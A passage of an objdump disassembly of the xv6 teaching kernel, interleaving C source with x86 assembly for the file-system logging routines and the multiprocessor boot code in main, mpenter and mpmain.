80103232: 8b 55 e8 mov -0x18(%ebp),%edx
80103235: 89 50 10 mov %edx,0x10(%eax)
80103238: 8b 55 ec mov -0x14(%ebp),%edx
8010323b: 89 50 14 mov %edx,0x14(%eax)
r->year += 2000;
8010323e: 8b 45 08 mov 0x8(%ebp),%eax
80103241: 8b 40 14 mov 0x14(%eax),%eax
80103244: 8d 90 d0 07 00 00 lea 0x7d0(%eax),%edx
8010324a: 8b 45 08 mov 0x8(%ebp),%eax
8010324d: 89 50 14 mov %edx,0x14(%eax)
}
80103250: c9 leave
80103251: c3 ret
...
80103254 <initlog>:
static void recover_from_log(void);
static void commit();
void
initlog(void)
{
80103254: 55 push %ebp
80103255: 89 e5 mov %esp,%ebp
80103257: 83 ec 28 sub $0x28,%esp
if (sizeof(struct logheader) >= BSIZE)
panic("initlog: too big logheader");
struct superblock sb;
initlock(&log.lock, "log");
8010325a: c7 44 24 04 44 8c 10 movl $0x80108c44,0x4(%esp)
80103261: 80
80103262: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
80103269: e8 80 20 00 00 call 801052ee <initlock>
readsb(ROOTDEV, &sb);
8010326e: 8d 45 e8 lea -0x18(%ebp),%eax
80103271: 89 44 24 04 mov %eax,0x4(%esp)
80103275: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8010327c: e8 77 e0 ff ff call 801012f8 <readsb>
log.start = sb.size - sb.nlog;
80103281: 8b 55 e8 mov -0x18(%ebp),%edx
80103284: 8b 45 f4 mov -0xc(%ebp),%eax
80103287: 89 d1 mov %edx,%ecx
80103289: 29 c1 sub %eax,%ecx
8010328b: 89 c8 mov %ecx,%eax
8010328d: a3 b4 32 11 80 mov %eax,0x801132b4
log.size = sb.nlog;
80103292: 8b 45 f4 mov -0xc(%ebp),%eax
80103295: a3 b8 32 11 80 mov %eax,0x801132b8
log.dev = ROOTDEV;
8010329a: c7 05 c4 32 11 80 01 movl $0x1,0x801132c4
801032a1: 00 00 00
recover_from_log();
801032a4: e8 97 01 00 00 call 80103440 <recover_from_log>
}
801032a9: c9 leave
801032aa: c3 ret
801032ab <install_trans>:
// Copy committed blocks from log to their home location
static void
install_trans(void)
{
801032ab: 55 push %ebp
801032ac: 89 e5 mov %esp,%ebp
801032ae: 83 ec 28 sub $0x28,%esp
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
801032b1: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801032b8: e9 89 00 00 00 jmp 80103346 <install_trans+0x9b>
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
801032bd: a1 b4 32 11 80 mov 0x801132b4,%eax
801032c2: 03 45 f4 add -0xc(%ebp),%eax
801032c5: 83 c0 01 add $0x1,%eax
801032c8: 89 c2 mov %eax,%edx
801032ca: a1 c4 32 11 80 mov 0x801132c4,%eax
801032cf: 89 54 24 04 mov %edx,0x4(%esp)
801032d3: 89 04 24 mov %eax,(%esp)
801032d6: e8 cb ce ff ff call 801001a6 <bread>
801032db: 89 45 f0 mov %eax,-0x10(%ebp)
struct buf *dbuf = bread(log.dev, log.lh.sector[tail]); // read dst
801032de: 8b 45 f4 mov -0xc(%ebp),%eax
801032e1: 83 c0 10 add $0x10,%eax
801032e4: 8b 04 85 8c 32 11 80 mov -0x7feecd74(,%eax,4),%eax
801032eb: 89 c2 mov %eax,%edx
801032ed: a1 c4 32 11 80 mov 0x801132c4,%eax
801032f2: 89 54 24 04 mov %edx,0x4(%esp)
801032f6: 89 04 24 mov %eax,(%esp)
801032f9: e8 a8 ce ff ff call 801001a6 <bread>
801032fe: 89 45 ec mov %eax,-0x14(%ebp)
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
80103301: 8b 45 f0 mov -0x10(%ebp),%eax
80103304: 8d 50 18 lea 0x18(%eax),%edx
80103307: 8b 45 ec mov -0x14(%ebp),%eax
8010330a: 83 c0 18 add $0x18,%eax
8010330d: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
80103314: 00
80103315: 89 54 24 04 mov %edx,0x4(%esp)
80103319: 89 04 24 mov %eax,(%esp)
8010331c: e8 10 23 00 00 call 80105631 <memmove>
bwrite(dbuf); // write dst to disk
80103321: 8b 45 ec mov -0x14(%ebp),%eax
80103324: 89 04 24 mov %eax,(%esp)
80103327: e8 b1 ce ff ff call 801001dd <bwrite>
brelse(lbuf);
8010332c: 8b 45 f0 mov -0x10(%ebp),%eax
8010332f: 89 04 24 mov %eax,(%esp)
80103332: e8 e0 ce ff ff call 80100217 <brelse>
brelse(dbuf);
80103337: 8b 45 ec mov -0x14(%ebp),%eax
8010333a: 89 04 24 mov %eax,(%esp)
8010333d: e8 d5 ce ff ff call 80100217 <brelse>
static void
install_trans(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80103342: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80103346: a1 c8 32 11 80 mov 0x801132c8,%eax
8010334b: 3b 45 f4 cmp -0xc(%ebp),%eax
8010334e: 0f 8f 69 ff ff ff jg 801032bd <install_trans+0x12>
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
bwrite(dbuf); // write dst to disk
brelse(lbuf);
brelse(dbuf);
}
}
80103354: c9 leave
80103355: c3 ret
80103356 <read_head>:
// Read the log header from disk into the in-memory log header
static void
read_head(void)
{
80103356: 55 push %ebp
80103357: 89 e5 mov %esp,%ebp
80103359: 83 ec 28 sub $0x28,%esp
struct buf *buf = bread(log.dev, log.start);
8010335c: a1 b4 32 11 80 mov 0x801132b4,%eax
80103361: 89 c2 mov %eax,%edx
80103363: a1 c4 32 11 80 mov 0x801132c4,%eax
80103368: 89 54 24 04 mov %edx,0x4(%esp)
8010336c: 89 04 24 mov %eax,(%esp)
8010336f: e8 32 ce ff ff call 801001a6 <bread>
80103374: 89 45 f0 mov %eax,-0x10(%ebp)
struct logheader *lh = (struct logheader *) (buf->data);
80103377: 8b 45 f0 mov -0x10(%ebp),%eax
8010337a: 83 c0 18 add $0x18,%eax
8010337d: 89 45 ec mov %eax,-0x14(%ebp)
int i;
log.lh.n = lh->n;
80103380: 8b 45 ec mov -0x14(%ebp),%eax
80103383: 8b 00 mov (%eax),%eax
80103385: a3 c8 32 11 80 mov %eax,0x801132c8
for (i = 0; i < log.lh.n; i++) {
8010338a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80103391: eb 1b jmp 801033ae <read_head+0x58>
log.lh.sector[i] = lh->sector[i];
80103393: 8b 45 ec mov -0x14(%ebp),%eax
80103396: 8b 55 f4 mov -0xc(%ebp),%edx
80103399: 8b 44 90 04 mov 0x4(%eax,%edx,4),%eax
8010339d: 8b 55 f4 mov -0xc(%ebp),%edx
801033a0: 83 c2 10 add $0x10,%edx
801033a3: 89 04 95 8c 32 11 80 mov %eax,-0x7feecd74(,%edx,4)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *lh = (struct logheader *) (buf->data);
int i;
log.lh.n = lh->n;
for (i = 0; i < log.lh.n; i++) {
801033aa: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801033ae: a1 c8 32 11 80 mov 0x801132c8,%eax
801033b3: 3b 45 f4 cmp -0xc(%ebp),%eax
801033b6: 7f db jg 80103393 <read_head+0x3d>
log.lh.sector[i] = lh->sector[i];
}
brelse(buf);
801033b8: 8b 45 f0 mov -0x10(%ebp),%eax
801033bb: 89 04 24 mov %eax,(%esp)
801033be: e8 54 ce ff ff call 80100217 <brelse>
}
801033c3: c9 leave
801033c4: c3 ret
801033c5 <write_head>:
// Write in-memory log header to disk.
// This is the true point at which the
// current transaction commits.
static void
write_head(void)
{
801033c5: 55 push %ebp
801033c6: 89 e5 mov %esp,%ebp
801033c8: 83 ec 28 sub $0x28,%esp
struct buf *buf = bread(log.dev, log.start);
801033cb: a1 b4 32 11 80 mov 0x801132b4,%eax
801033d0: 89 c2 mov %eax,%edx
801033d2: a1 c4 32 11 80 mov 0x801132c4,%eax
801033d7: 89 54 24 04 mov %edx,0x4(%esp)
801033db: 89 04 24 mov %eax,(%esp)
801033de: e8 c3 cd ff ff call 801001a6 <bread>
801033e3: 89 45 f0 mov %eax,-0x10(%ebp)
struct logheader *hb = (struct logheader *) (buf->data);
801033e6: 8b 45 f0 mov -0x10(%ebp),%eax
801033e9: 83 c0 18 add $0x18,%eax
801033ec: 89 45 ec mov %eax,-0x14(%ebp)
int i;
hb->n = log.lh.n;
801033ef: 8b 15 c8 32 11 80 mov 0x801132c8,%edx
801033f5: 8b 45 ec mov -0x14(%ebp),%eax
801033f8: 89 10 mov %edx,(%eax)
for (i = 0; i < log.lh.n; i++) {
801033fa: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80103401: eb 1b jmp 8010341e <write_head+0x59>
hb->sector[i] = log.lh.sector[i];
80103403: 8b 45 f4 mov -0xc(%ebp),%eax
80103406: 83 c0 10 add $0x10,%eax
80103409: 8b 0c 85 8c 32 11 80 mov -0x7feecd74(,%eax,4),%ecx
80103410: 8b 45 ec mov -0x14(%ebp),%eax
80103413: 8b 55 f4 mov -0xc(%ebp),%edx
80103416: 89 4c 90 04 mov %ecx,0x4(%eax,%edx,4)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
for (i = 0; i < log.lh.n; i++) {
8010341a: 83 45 f4 01 addl $0x1,-0xc(%ebp)
8010341e: a1 c8 32 11 80 mov 0x801132c8,%eax
80103423: 3b 45 f4 cmp -0xc(%ebp),%eax
80103426: 7f db jg 80103403 <write_head+0x3e>
hb->sector[i] = log.lh.sector[i];
}
bwrite(buf);
80103428: 8b 45 f0 mov -0x10(%ebp),%eax
8010342b: 89 04 24 mov %eax,(%esp)
8010342e: e8 aa cd ff ff call 801001dd <bwrite>
brelse(buf);
80103433: 8b 45 f0 mov -0x10(%ebp),%eax
80103436: 89 04 24 mov %eax,(%esp)
80103439: e8 d9 cd ff ff call 80100217 <brelse>
}
8010343e: c9 leave
8010343f: c3 ret
80103440 <recover_from_log>:
static void
recover_from_log(void)
{
80103440: 55 push %ebp
80103441: 89 e5 mov %esp,%ebp
80103443: 83 ec 08 sub $0x8,%esp
read_head();
80103446: e8 0b ff ff ff call 80103356 <read_head>
install_trans(); // if committed, copy from log to disk
8010344b: e8 5b fe ff ff call 801032ab <install_trans>
log.lh.n = 0;
80103450: c7 05 c8 32 11 80 00 movl $0x0,0x801132c8
80103457: 00 00 00
write_head(); // clear the log
8010345a: e8 66 ff ff ff call 801033c5 <write_head>
}
8010345f: c9 leave
80103460: c3 ret
80103461 <begin_op>:
// called at the start of each FS system call.
void
begin_op(void)
{
80103461: 55 push %ebp
80103462: 89 e5 mov %esp,%ebp
80103464: 83 ec 18 sub $0x18,%esp
acquire(&log.lock);
80103467: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
8010346e: e8 9c 1e 00 00 call 8010530f <acquire>
while(1){
if(log.committing){
80103473: a1 c0 32 11 80 mov 0x801132c0,%eax
80103478: 85 c0 test %eax,%eax
8010347a: 74 16 je 80103492 <begin_op+0x31>
sleep(&log, &log.lock);
8010347c: c7 44 24 04 80 32 11 movl $0x80113280,0x4(%esp)
80103483: 80
80103484: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
8010348b: e8 97 1b 00 00 call 80105027 <sleep>
} else {
log.outstanding += 1;
release(&log.lock);
break;
}
}
80103490: eb e1 jmp 80103473 <begin_op+0x12>
{
acquire(&log.lock);
while(1){
if(log.committing){
sleep(&log, &log.lock);
} else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){
80103492: 8b 0d c8 32 11 80 mov 0x801132c8,%ecx
80103498: a1 bc 32 11 80 mov 0x801132bc,%eax
8010349d: 8d 50 01 lea 0x1(%eax),%edx
801034a0: 89 d0 mov %edx,%eax
801034a2: c1 e0 02 shl $0x2,%eax
801034a5: 01 d0 add %edx,%eax
801034a7: 01 c0 add %eax,%eax
801034a9: 01 c8 add %ecx,%eax
801034ab: 83 f8 1e cmp $0x1e,%eax
801034ae: 7e 16 jle 801034c6 <begin_op+0x65>
// this op might exhaust log space; wait for commit.
sleep(&log, &log.lock);
801034b0: c7 44 24 04 80 32 11 movl $0x80113280,0x4(%esp)
801034b7: 80
801034b8: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
801034bf: e8 63 1b 00 00 call 80105027 <sleep>
} else {
log.outstanding += 1;
release(&log.lock);
break;
}
}
801034c4: eb ad jmp 80103473 <begin_op+0x12>
sleep(&log, &log.lock);
} else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){
// this op might exhaust log space; wait for commit.
sleep(&log, &log.lock);
} else {
log.outstanding += 1;
801034c6: a1 bc 32 11 80 mov 0x801132bc,%eax
801034cb: 83 c0 01 add $0x1,%eax
801034ce: a3 bc 32 11 80 mov %eax,0x801132bc
release(&log.lock);
801034d3: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
801034da: e8 92 1e 00 00 call 80105371 <release>
break;
801034df: 90 nop
}
}
}
801034e0: c9 leave
801034e1: c3 ret
801034e2 <end_op>:
// called at the end of each FS system call.
// commits if this was the last outstanding operation.
void
end_op(void)
{
801034e2: 55 push %ebp
801034e3: 89 e5 mov %esp,%ebp
801034e5: 83 ec 28 sub $0x28,%esp
int do_commit = 0;
801034e8: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
acquire(&log.lock);
801034ef: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
801034f6: e8 14 1e 00 00 call 8010530f <acquire>
log.outstanding -= 1;
801034fb: a1 bc 32 11 80 mov 0x801132bc,%eax
80103500: 83 e8 01 sub $0x1,%eax
80103503: a3 bc 32 11 80 mov %eax,0x801132bc
if(log.committing)
80103508: a1 c0 32 11 80 mov 0x801132c0,%eax
8010350d: 85 c0 test %eax,%eax
8010350f: 74 0c je 8010351d <end_op+0x3b>
panic("log.committing");
80103511: c7 04 24 48 8c 10 80 movl $0x80108c48,(%esp)
80103518: e8 20 d0 ff ff call 8010053d <panic>
if(log.outstanding == 0){
8010351d: a1 bc 32 11 80 mov 0x801132bc,%eax
80103522: 85 c0 test %eax,%eax
80103524: 75 13 jne 80103539 <end_op+0x57>
do_commit = 1;
80103526: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp)
log.committing = 1;
8010352d: c7 05 c0 32 11 80 01 movl $0x1,0x801132c0
80103534: 00 00 00
80103537: eb 0c jmp 80103545 <end_op+0x63>
} else {
// begin_op() may be waiting for log space.
wakeup(&log);
80103539: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
80103540: e8 be 1b 00 00 call 80105103 <wakeup>
}
release(&log.lock);
80103545: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
8010354c: e8 20 1e 00 00 call 80105371 <release>
if(do_commit){
80103551: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80103555: 74 33 je 8010358a <end_op+0xa8>
// call commit w/o holding locks, since not allowed
// to sleep with locks.
commit();
80103557: e8 db 00 00 00 call 80103637 <commit>
acquire(&log.lock);
8010355c: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
80103563: e8 a7 1d 00 00 call 8010530f <acquire>
log.committing = 0;
80103568: c7 05 c0 32 11 80 00 movl $0x0,0x801132c0
8010356f: 00 00 00
wakeup(&log);
80103572: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
80103579: e8 85 1b 00 00 call 80105103 <wakeup>
release(&log.lock);
8010357e: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
80103585: e8 e7 1d 00 00 call 80105371 <release>
}
}
8010358a: c9 leave
8010358b: c3 ret
8010358c <write_log>:
// Copy modified blocks from cache to log.
static void
write_log(void)
{
8010358c: 55 push %ebp
8010358d: 89 e5 mov %esp,%ebp
8010358f: 83 ec 28 sub $0x28,%esp
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80103592: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80103599: e9 89 00 00 00 jmp 80103627 <write_log+0x9b>
struct buf *to = bread(log.dev, log.start+tail+1); // log block
8010359e: a1 b4 32 11 80 mov 0x801132b4,%eax
801035a3: 03 45 f4 add -0xc(%ebp),%eax
801035a6: 83 c0 01 add $0x1,%eax
801035a9: 89 c2 mov %eax,%edx
801035ab: a1 c4 32 11 80 mov 0x801132c4,%eax
801035b0: 89 54 24 04 mov %edx,0x4(%esp)
801035b4: 89 04 24 mov %eax,(%esp)
801035b7: e8 ea cb ff ff call 801001a6 <bread>
801035bc: 89 45 f0 mov %eax,-0x10(%ebp)
struct buf *from = bread(log.dev, log.lh.sector[tail]); // cache block
801035bf: 8b 45 f4 mov -0xc(%ebp),%eax
801035c2: 83 c0 10 add $0x10,%eax
801035c5: 8b 04 85 8c 32 11 80 mov -0x7feecd74(,%eax,4),%eax
801035cc: 89 c2 mov %eax,%edx
801035ce: a1 c4 32 11 80 mov 0x801132c4,%eax
801035d3: 89 54 24 04 mov %edx,0x4(%esp)
801035d7: 89 04 24 mov %eax,(%esp)
801035da: e8 c7 cb ff ff call 801001a6 <bread>
801035df: 89 45 ec mov %eax,-0x14(%ebp)
memmove(to->data, from->data, BSIZE);
801035e2: 8b 45 ec mov -0x14(%ebp),%eax
801035e5: 8d 50 18 lea 0x18(%eax),%edx
801035e8: 8b 45 f0 mov -0x10(%ebp),%eax
801035eb: 83 c0 18 add $0x18,%eax
801035ee: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
801035f5: 00
801035f6: 89 54 24 04 mov %edx,0x4(%esp)
801035fa: 89 04 24 mov %eax,(%esp)
801035fd: e8 2f 20 00 00 call 80105631 <memmove>
bwrite(to); // write the log
80103602: 8b 45 f0 mov -0x10(%ebp),%eax
80103605: 89 04 24 mov %eax,(%esp)
80103608: e8 d0 cb ff ff call 801001dd <bwrite>
brelse(from);
8010360d: 8b 45 ec mov -0x14(%ebp),%eax
80103610: 89 04 24 mov %eax,(%esp)
80103613: e8 ff cb ff ff call 80100217 <brelse>
brelse(to);
80103618: 8b 45 f0 mov -0x10(%ebp),%eax
8010361b: 89 04 24 mov %eax,(%esp)
8010361e: e8 f4 cb ff ff call 80100217 <brelse>
static void
write_log(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80103623: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80103627: a1 c8 32 11 80 mov 0x801132c8,%eax
8010362c: 3b 45 f4 cmp -0xc(%ebp),%eax
8010362f: 0f 8f 69 ff ff ff jg 8010359e <write_log+0x12>
memmove(to->data, from->data, BSIZE);
bwrite(to); // write the log
brelse(from);
brelse(to);
}
}
80103635: c9 leave
80103636: c3 ret
80103637 <commit>:
static void
commit()
{
80103637: 55 push %ebp
80103638: 89 e5 mov %esp,%ebp
8010363a: 83 ec 08 sub $0x8,%esp
if (log.lh.n > 0) {
8010363d: a1 c8 32 11 80 mov 0x801132c8,%eax
80103642: 85 c0 test %eax,%eax
80103644: 7e 1e jle 80103664 <commit+0x2d>
write_log(); // Write modified blocks from cache to log
80103646: e8 41 ff ff ff call 8010358c <write_log>
write_head(); // Write header to disk -- the real commit
8010364b: e8 75 fd ff ff call 801033c5 <write_head>
install_trans(); // Now install writes to home locations
80103650: e8 56 fc ff ff call 801032ab <install_trans>
log.lh.n = 0;
80103655: c7 05 c8 32 11 80 00 movl $0x0,0x801132c8
8010365c: 00 00 00
write_head(); // Erase the transaction from the log
8010365f: e8 61 fd ff ff call 801033c5 <write_head>
}
}
80103664: c9 leave
80103665: c3 ret
80103666 <log_write>:
// modify bp->data[]
// log_write(bp)
// brelse(bp)
void
log_write(struct buf *b)
{
80103666: 55 push %ebp
80103667: 89 e5 mov %esp,%ebp
80103669: 83 ec 28 sub $0x28,%esp
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
8010366c: a1 c8 32 11 80 mov 0x801132c8,%eax
80103671: 83 f8 1d cmp $0x1d,%eax
80103674: 7f 12 jg 80103688 <log_write+0x22>
80103676: a1 c8 32 11 80 mov 0x801132c8,%eax
8010367b: 8b 15 b8 32 11 80 mov 0x801132b8,%edx
80103681: 83 ea 01 sub $0x1,%edx
80103684: 39 d0 cmp %edx,%eax
80103686: 7c 0c jl 80103694 <log_write+0x2e>
panic("too big a transaction");
80103688: c7 04 24 57 8c 10 80 movl $0x80108c57,(%esp)
8010368f: e8 a9 ce ff ff call 8010053d <panic>
if (log.outstanding < 1)
80103694: a1 bc 32 11 80 mov 0x801132bc,%eax
80103699: 85 c0 test %eax,%eax
8010369b: 7f 0c jg 801036a9 <log_write+0x43>
panic("log_write outside of trans");
8010369d: c7 04 24 6d 8c 10 80 movl $0x80108c6d,(%esp)
801036a4: e8 94 ce ff ff call 8010053d <panic>
for (i = 0; i < log.lh.n; i++) {
801036a9: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801036b0: eb 1d jmp 801036cf <log_write+0x69>
if (log.lh.sector[i] == b->sector) // log absorbtion
801036b2: 8b 45 f4 mov -0xc(%ebp),%eax
801036b5: 83 c0 10 add $0x10,%eax
801036b8: 8b 04 85 8c 32 11 80 mov -0x7feecd74(,%eax,4),%eax
801036bf: 89 c2 mov %eax,%edx
801036c1: 8b 45 08 mov 0x8(%ebp),%eax
801036c4: 8b 40 08 mov 0x8(%eax),%eax
801036c7: 39 c2 cmp %eax,%edx
801036c9: 74 10 je 801036db <log_write+0x75>
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
panic("too big a transaction");
if (log.outstanding < 1)
panic("log_write outside of trans");
for (i = 0; i < log.lh.n; i++) {
801036cb: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801036cf: a1 c8 32 11 80 mov 0x801132c8,%eax
801036d4: 3b 45 f4 cmp -0xc(%ebp),%eax
801036d7: 7f d9 jg 801036b2 <log_write+0x4c>
801036d9: eb 01 jmp 801036dc <log_write+0x76>
if (log.lh.sector[i] == b->sector) // log absorbtion
break;
801036db: 90 nop
}
log.lh.sector[i] = b->sector;
801036dc: 8b 45 08 mov 0x8(%ebp),%eax
801036df: 8b 40 08 mov 0x8(%eax),%eax
801036e2: 8b 55 f4 mov -0xc(%ebp),%edx
801036e5: 83 c2 10 add $0x10,%edx
801036e8: 89 04 95 8c 32 11 80 mov %eax,-0x7feecd74(,%edx,4)
if (i == log.lh.n)
801036ef: a1 c8 32 11 80 mov 0x801132c8,%eax
801036f4: 3b 45 f4 cmp -0xc(%ebp),%eax
801036f7: 75 0d jne 80103706 <log_write+0xa0>
log.lh.n++;
801036f9: a1 c8 32 11 80 mov 0x801132c8,%eax
801036fe: 83 c0 01 add $0x1,%eax
80103701: a3 c8 32 11 80 mov %eax,0x801132c8
b->flags |= B_DIRTY; // prevent eviction
80103706: 8b 45 08 mov 0x8(%ebp),%eax
80103709: 8b 00 mov (%eax),%eax
8010370b: 89 c2 mov %eax,%edx
8010370d: 83 ca 04 or $0x4,%edx
80103710: 8b 45 08 mov 0x8(%ebp),%eax
80103713: 89 10 mov %edx,(%eax)
}
80103715: c9 leave
80103716: c3 ret
...
80103718 <v2p>:
80103718: 55 push %ebp
80103719: 89 e5 mov %esp,%ebp
8010371b: 8b 45 08 mov 0x8(%ebp),%eax
8010371e: 05 00 00 00 80 add $0x80000000,%eax
80103723: 5d pop %ebp
80103724: c3 ret
80103725 <p2v>:
static inline void *p2v(uint a) { return (void *) ((a) + KERNBASE); }
80103725: 55 push %ebp
80103726: 89 e5 mov %esp,%ebp
80103728: 8b 45 08 mov 0x8(%ebp),%eax
8010372b: 05 00 00 00 80 add $0x80000000,%eax
80103730: 5d pop %ebp
80103731: c3 ret
80103732 <xchg>:
asm volatile("sti");
}
static inline uint
xchg(volatile uint *addr, uint newval)
{
80103732: 55 push %ebp
80103733: 89 e5 mov %esp,%ebp
80103735: 53 push %ebx
80103736: 83 ec 10 sub $0x10,%esp
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
"+m" (*addr), "=a" (result) :
80103739: 8b 55 08 mov 0x8(%ebp),%edx
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
8010373c: 8b 45 0c mov 0xc(%ebp),%eax
"+m" (*addr), "=a" (result) :
8010373f: 8b 4d 08 mov 0x8(%ebp),%ecx
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
80103742: 89 c3 mov %eax,%ebx
80103744: 89 d8 mov %ebx,%eax
80103746: f0 87 02 lock xchg %eax,(%edx)
80103749: 89 c3 mov %eax,%ebx
8010374b: 89 5d f8 mov %ebx,-0x8(%ebp)
"+m" (*addr), "=a" (result) :
"1" (newval) :
"cc");
return result;
8010374e: 8b 45 f8 mov -0x8(%ebp),%eax
}
80103751: 83 c4 10 add $0x10,%esp
80103754: 5b pop %ebx
80103755: 5d pop %ebp
80103756: c3 ret
80103757 <main>:
// Bootstrap processor starts running C code here.
// Allocate a real stack and switch to it, first
// doing some setup required for memory allocator to work.
int
main(void)
{
80103757: 55 push %ebp
80103758: 89 e5 mov %esp,%ebp
8010375a: 83 e4 f0 and $0xfffffff0,%esp
8010375d: 83 ec 10 sub $0x10,%esp
kinit1(end, P2V(4*1024*1024)); // phys page allocator
80103760: c7 44 24 04 00 00 40 movl $0x80400000,0x4(%esp)
80103767: 80
80103768: c7 04 24 5c 63 11 80 movl $0x8011635c,(%esp)
8010376f: e8 69 f2 ff ff call 801029dd <kinit1>
kvmalloc(); // kernel page table
80103774: e8 15 4b 00 00 call 8010828e <kvmalloc>
mpinit(); // collect info about this machine
80103779: e8 53 04 00 00 call 80103bd1 <mpinit>
lapicinit();
8010377e: e8 e3 f5 ff ff call 80102d66 <lapicinit>
seginit(); // set up segments
80103783: e8 a9 44 00 00 call 80107c31 <seginit>
cprintf("\ncpu%d: starting xv6\n\n", cpu->id);
80103788: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010378e: 0f b6 00 movzbl (%eax),%eax
80103791: 0f b6 c0 movzbl %al,%eax
80103794: 89 44 24 04 mov %eax,0x4(%esp)
80103798: c7 04 24 88 8c 10 80 movl $0x80108c88,(%esp)
8010379f: e8 fd cb ff ff call 801003a1 <cprintf>
picinit(); // interrupt controller
801037a4: e8 8d 06 00 00 call 80103e36 <picinit>
ioapicinit(); // another interrupt controller
801037a9: e8 1f f1 ff ff call 801028cd <ioapicinit>
consoleinit(); // I/O devices & their interrupts
801037ae: e8 da d2 ff ff call 80100a8d <consoleinit>
uartinit(); // serial port
801037b3: e8 c4 37 00 00 call 80106f7c <uartinit>
pinit(); // process table
801037b8: e8 8e 0b 00 00 call 8010434b <pinit>
tvinit(); // trap vectors
801037bd: e8 5d 33 00 00 call 80106b1f <tvinit>
binit(); // buffer cache
801037c2: e8 6d c8 ff ff call 80100034 <binit>
fileinit(); // file table
801037c7: e8 40 d7 ff ff call 80100f0c <fileinit>
iinit(); // inode cache
801037cc: e8 ee dd ff ff call 801015bf <iinit>
ideinit(); // disk
801037d1: e8 5c ed ff ff call 80102532 <ideinit>
if(!ismp)
801037d6: a1 64 33 11 80 mov 0x80113364,%eax
801037db: 85 c0 test %eax,%eax
801037dd: 75 05 jne 801037e4 <main+0x8d>
timerinit(); // uniprocessor timer
801037df: e8 7e 32 00 00 call 80106a62 <timerinit>
startothers(); // start other processors
801037e4: e8 7f 00 00 00 call 80103868 <startothers>
kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers()
801037e9: c7 44 24 04 00 00 00 movl $0x8e000000,0x4(%esp)
801037f0: 8e
801037f1: c7 04 24 00 00 40 80 movl $0x80400000,(%esp)
801037f8: e8 18 f2 ff ff call 80102a15 <kinit2>
userinit(); // first user process
801037fd: e8 67 0c 00 00 call 80104469 <userinit>
// Finish setting up this processor in mpmain.
mpmain();
80103802: e8 1a 00 00 00 call 80103821 <mpmain>
80103807 <mpenter>:
}
// Other CPUs jump here from entryother.S.
static void
mpenter(void)
{
80103807: 55 push %ebp
80103808: 89 e5 mov %esp,%ebp
8010380a: 83 ec 08 sub $0x8,%esp
switchkvm();
8010380d: e8 93 4a 00 00 call 801082a5 <switchkvm>
seginit();
80103812: e8 1a 44 00 00 call 80107c31 <seginit>
lapicinit();
80103817: e8 4a f5 ff ff call 80102d66 <lapicinit>
mpmain();
8010381c: e8 00 00 00 00 call 80103821 <mpmain>
80103821 <mpmain>:
}
// Common CPU setup code.
static void
mpmain(void)
{
80103821: 55 push %ebp
80103822: 89 e5 mov %esp,%ebp
80103824: 83 ec 18 sub $0x18,%esp
cprintf("cpu%d: starting\n", cpu->id);
80103827: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010382d: 0f b6 00 movzbl (%eax),%eax
80103830: 0f b6 c0 movzbl %al,%eax
80103833: 89 44 24 04 mov %eax,0x4(%esp)
80103837: c7 04 24 9f 8c 10 80 movl $0x80108c9f,(%esp)
8010383e: e8 5e cb ff ff call 801003a1 <cprintf>
idtinit(); // load idt register
80103843: e8 4b 34 00 00 call 80106c93 <idtinit>
xchg(&cpu->started, 1); // tell startothers() we're up
80103848: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010384e: 05 a8 00 00 00 add $0xa8,%eax
80103853: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
8010385a: 00
8010385b: 89 04 24 mov %eax,(%esp)
8010385e: e8 cf fe ff ff call 80103732 <xchg>
scheduler(); // start running processes
80103863: e8 13 16 00 00 call 80104e7b <scheduler>
80103868 <startothers>:
pde_t entrypgdir[]; // For entry.S
// Start the non-boot (AP) processors.
static void
startothers(void)
{
